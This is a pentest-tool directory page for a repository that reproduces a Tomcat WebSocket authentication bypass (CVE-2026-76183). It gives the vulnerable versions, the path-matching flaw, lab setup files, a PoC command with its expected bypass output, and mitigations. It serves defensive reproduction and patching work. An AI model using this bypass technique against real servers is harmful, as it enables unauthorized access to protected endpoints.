Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/ethen1212/tomcat-cve-2026-76183
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubethen1212/tomcat-cve-2026-76183

tomcat-CVE-2026-76183

Share

Apache Tomcat WebSocket security constraint bypass (CVE-2026-76183) reproduction

View Repository
2226 days agoNot yet reviewed

CVE-2026-76183: Apache Tomcat WebSocket Security Constraint Bypass

CVE-2026-76183 | CWE-289 | CVSS 9.8 Critical Discovered by: Zhang Yilin | Published: 2026-09-23

Vulnerability Overview

Apache Tomcat WebSocket endpoint template path security constraint bypass.

Affected versions:

  • Tomcat 11.x: 11.0.0-M1 ~ 11.0.25
  • Tomcat 10.1.x: 10.1.0-M1 ~ 10.1.59
  • Tomcat 9.0.x: 9.0.0.M1 ~ 9.0.121
  • Tomcat 8.5.x (EOS): 8.5.0 ~ 8.5.100
  • Tomcat 7.0.x (EOS): 7.0.43 ~ 7.0.109

Fixed versions: 11.0.26 / 10.1.60 / 9.0.122

Mechanism

WebSocket endpoints can use template paths (e.g., /api/{room}). When web.xml only configures security constraints on specific paths (e.g., /api/room1), attackers can bypass authentication by using alternate names (e.g., /api/anything) because:

  • Authorization uses exact path matching (/api/anything != /api/room1 -> allowed)
  • Endpoint dispatch uses template matching (/api/anything matches /api/{room} -> routed)

Reproduction

Option A: Docker Compose (recommended)

# docker-compose.yml
services:
  tomcat-vuln:
    build: .
    ports:
      - "8080:8080"
# Dockerfile
FROM maven:3.9-eclipse-temurin-17 AS build
WORKDIR /build
COPY pom.xml . && COPY src ./src && COPY webapp ./webapp
RUN mvn -q -DskipTests package

FROM tomcat:9.0.121-jdk17
COPY --from=build /build/target/wssec.war /usr/local/tomcat/webapps/wssec.war
COPY tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
EXPOSE 8080
CMD ["catalina.sh", "run"]

Option B: Manual Deployment

# 1. Download Tomcat 9.0.121
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.121/bin/apache-tomcat-9.0.121.tar.gz
tar xzf apache-tomcat-9.0.121.tar.gz

# 2. Configure tomcat-users.xml

# 3. Compile and deploy
mkdir -p apache-tomcat-9.0.121/webapps/wssec/WEB-INF/classes
cp web.xml apache-tomcat-9.0.121/webapps/wssec/WEB-INF/
javac -cp apache-tomcat-9.0.121/lib/websocket-api.jar \
  -d apache-tomcat-9.0.121/webapps/wssec/WEB-INF/classes \
  RoomEndpoint.java

# 4. Start
./apache-tomcat-9.0.121/bin/startup.sh

Run PoC

python3 poc.py --host 127.0.0.1 --port 8080 \
    --constrained /wssec/api/room1 \
    --alternate /wssec/api/anything \
    --auth

Expected Output

=== Step 1: Anonymous upgrade constrained path (expected 401) ===
[*] /wssec/api/room1  ->  HTTP/1.1 401 Unauthorized

=== Step 2: Anonymous upgrade alternate name (expected 101 = bypass) ===
[*] /wssec/api/anything  ->  HTTP/1.1 101 Switching Protocols
[*]     endpoint first frame: room=anything, principal=null

[+] Vulnerability reproduced:
[+]   Constrained path /api/room1      -> 401 Unauthorized
[+]   Alternate name  /api/anything    -> 101 Switching Protocols
[+]   principal=null -> security constraint bypassed (CVE-2026-76183)

File Manifest

FileDescription
RoomEndpoint.javaTemplate-path WebSocket endpoint
web.xmlSecurity constraint (only /api/room1 protected)
tomcat-users.xmlMemory realm user (user/password)
poc.pyPoC script
README.mdThis file

Mitigation

  1. Upgrade Tomcat to 9.0.122 / 10.1.60 / 11.0.26
  2. Manually verify session.getUserPrincipal() in endpoint onOpen
  3. Use directory/wildcard security constraints (e.g., /api/*)
  4. Avoid template paths for protected WebSocket endpoints

References

  • https://lists.apache.org/thread/45mxk8nj2q8pkhct6lfxkvtm2jpywrsp
  • https://www.cve.org/CVERecord?id=CVE-2026-76183
  • https://github.com/advisories/ghsa-q4fc-3vv4-fh24
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    717
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    504
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    402
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    342
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259

Explore all tools

Browse our collection of tools

View all tools →